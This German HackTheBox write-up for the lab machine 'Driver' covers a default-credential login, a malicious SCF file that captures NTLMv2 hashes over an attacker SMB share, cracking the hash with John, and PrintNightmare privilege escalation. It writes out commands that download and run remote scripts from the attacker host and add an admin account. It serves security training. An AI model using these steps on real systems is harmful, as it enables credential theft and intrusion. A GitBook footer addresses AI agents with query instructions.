> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Driver HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Passworterraten
* Bösartige SCF-Datei
* Lokale Privilegieneskalation des Druckspoolers (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/2ca56a8398e8b5d14446585995af4ef8e3fdf982" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/c174ea6a32ab126c0761e0e4adfd7c87d807ecf6" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:** Erkundung offener Ports und Export in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/6861caeba04e51e738c8de7879bfdc2365b2a267" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**

Die Funktion extractport verwenden, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/4c5e0a12bdc6dcd8ee88d611cc6776542fffa43b" alt="" width="563"><figcaption></figcaption></figure>

**Versionsscan von Ports mit Nmap:** Nmap verwenden, um die Versionen der Ports zu scannen und Informationen in die Datei "targeted" zu extrahieren:

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/3277a2ad5e2088067714494be5fe4f48db970d4c" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

<figure><img src="/files/71cbac1d968ebf2a0b04af713d01f8e60f1b14b0" alt="" width="563"><figcaption></figcaption></figure>

### Analyse von Port 80:

Auf Port 80 läuft ein Webserver mit einem Verbindungsfeld.

<figure><img src="/files/6aed74dbdfade00ca81d59ccaaf862d75bb4dc24" alt=""><figcaption></figcaption></figure>

Analyse mit **WhatWeb** identifiziert einen Standard-Benutzernamen: `admin`.

<figure><img src="/files/236f7384be12c9454cb1bef3c0cf9dd2ced1a551" alt=""><figcaption></figcaption></figure>

Verbindungsversuch zu `admin:admin` als Anmeldedaten.

### MFP-Firmware-Aktualisierungscenter:

<figure><img src="/files/d4ad70b90a4690acc0fb5d086c0a36a5633bf8fa" alt=""><figcaption></figcaption></figure>

Die Seite bietet eine Option zum Herunterladen der Firmware. Die Meldung besagt:

> Wählen Sie das Druckermodell aus und laden Sie das entsprechende Firmware-Update von unserem Filesharing herunter. Unser Testteam wird die Downloads manuell prüfen und bald mit den Tests beginnen.

<figure><img src="/files/62ec955642293fd0d47610bff6e80f4d5c814611" alt=""><figcaption></figcaption></figure>

## Ausnutzung - bösartige SCF-Datei :

Erstellen einer bösartigen `.scf` Datei, um beim Öffnen den NTLMv2 eines Benutzers abzufangen:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Mithören mit **impacket** um NTLMv2 abzufangen:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Erfasse den NTLMv2-Hash für den Benutzer `tony`.

<figure><img src="/files/da4ab5fbaf89aa2bc279ac05fe2f64b7fdbebca7" alt=""><figcaption></figcaption></figure>

Knacke den NTLM-Hash mit **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/0bd79618ab2c1bb0a35ec01cbdf470f59ce68064" alt=""><figcaption></figcaption></figure>

## SMB- und WinRM-Verbindung:

**Zugriff überprüfen** mit CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/c37cd19a2df8087d0dadad9f81084ea392c88501" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* Verbindung mit CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/01324fe68b7cb8de1be630b33a56b9d768b49d43" alt=""><figcaption></figcaption></figure>

**Übernimm die Kontrolle mit Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/9b03ae48d3dff8a9419b9166f33f535584c9611e" alt=""><figcaption></figcaption></figure>

### Flagge user.txt:

<figure><img src="/files/9b03ae48d3dff8a9419b9166f33f535584c9611e" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation :

### **1. Aufzählung mit PowerUp:**

* Herunterladen des **PowerUp.ps1** Skripts auf der Angriffsmaschine und Anhängen des `Invoke-AllChecks` Befehls am Ende, um alle Prüfungen zu starten.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Übertragen des Skripts auf die Zielmaschine über einen Python-HTTP-Server:

```bash
python3 -m http.server 80
```

Ausführung auf der Zielmaschine:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Ergebnis**: Keine relevanten Elemente gefunden.

<figure><img src="/files/aa21469cb35d4965b290ed87d1130f3cc998360b" alt=""><figcaption></figcaption></figure>

### **2. Aufzählung mit winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Übertragung des Werkzeugs **winPEASx64.exe** auf die Zielmaschine:

`upload winPEASx64.exe`

<figure><img src="/files/2fd8307dce19f40cd06f0d3d5ee2cee10e5567b9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9d43f38d958dee8e20f0952db6ec04bfc9b389b5" alt=""><figcaption></figcaption></figure>

## **Ausnutzung von PrintNightmare (CVE-2021-1675)**

Ein anfälliger **spoolsv** Prozess wird erkannt, lauscht auf einem TCP-Port.

<figure><img src="/files/9ace1f4c9e115c783728bd127485cddeb320d269" alt=""><figcaption></figcaption></figure>

Verwendung eines Exploit-Skripts für PrintNightmare, verfügbar auf GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/a9323f4e0723ea9354034f227045a971d57854c1" alt=""><figcaption></figcaption></figure>

Hier sind die auszuführenden Befehle:

1. **Übertragen des Skripts** um Blockierung durch Windows Defender zu vermeiden:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Anlegen eines Administratorkontos** namens `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/7293349444015d25f58db3c2d9ce4848781ebf29" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Status**: `jordan` Benutzer ist jetzt in der Administratorgruppe.

<figure><img src="/files/b63afe9bc259f5c6cb39ecba7ee8d783da5af18b" alt=""><figcaption></figcaption></figure>

### Verbindung mit Administratorrechten

Verbindung zur Maschine via WinRM mit **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/ca767ea3c851db810ea2db7bbd7a62bba7b86dc7" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="/files/64c47cb802e63d23adbdde0b6a553fa766a96b92" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bed4e9aa55720e0cc4a01379c6ed6c107352eb1a" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
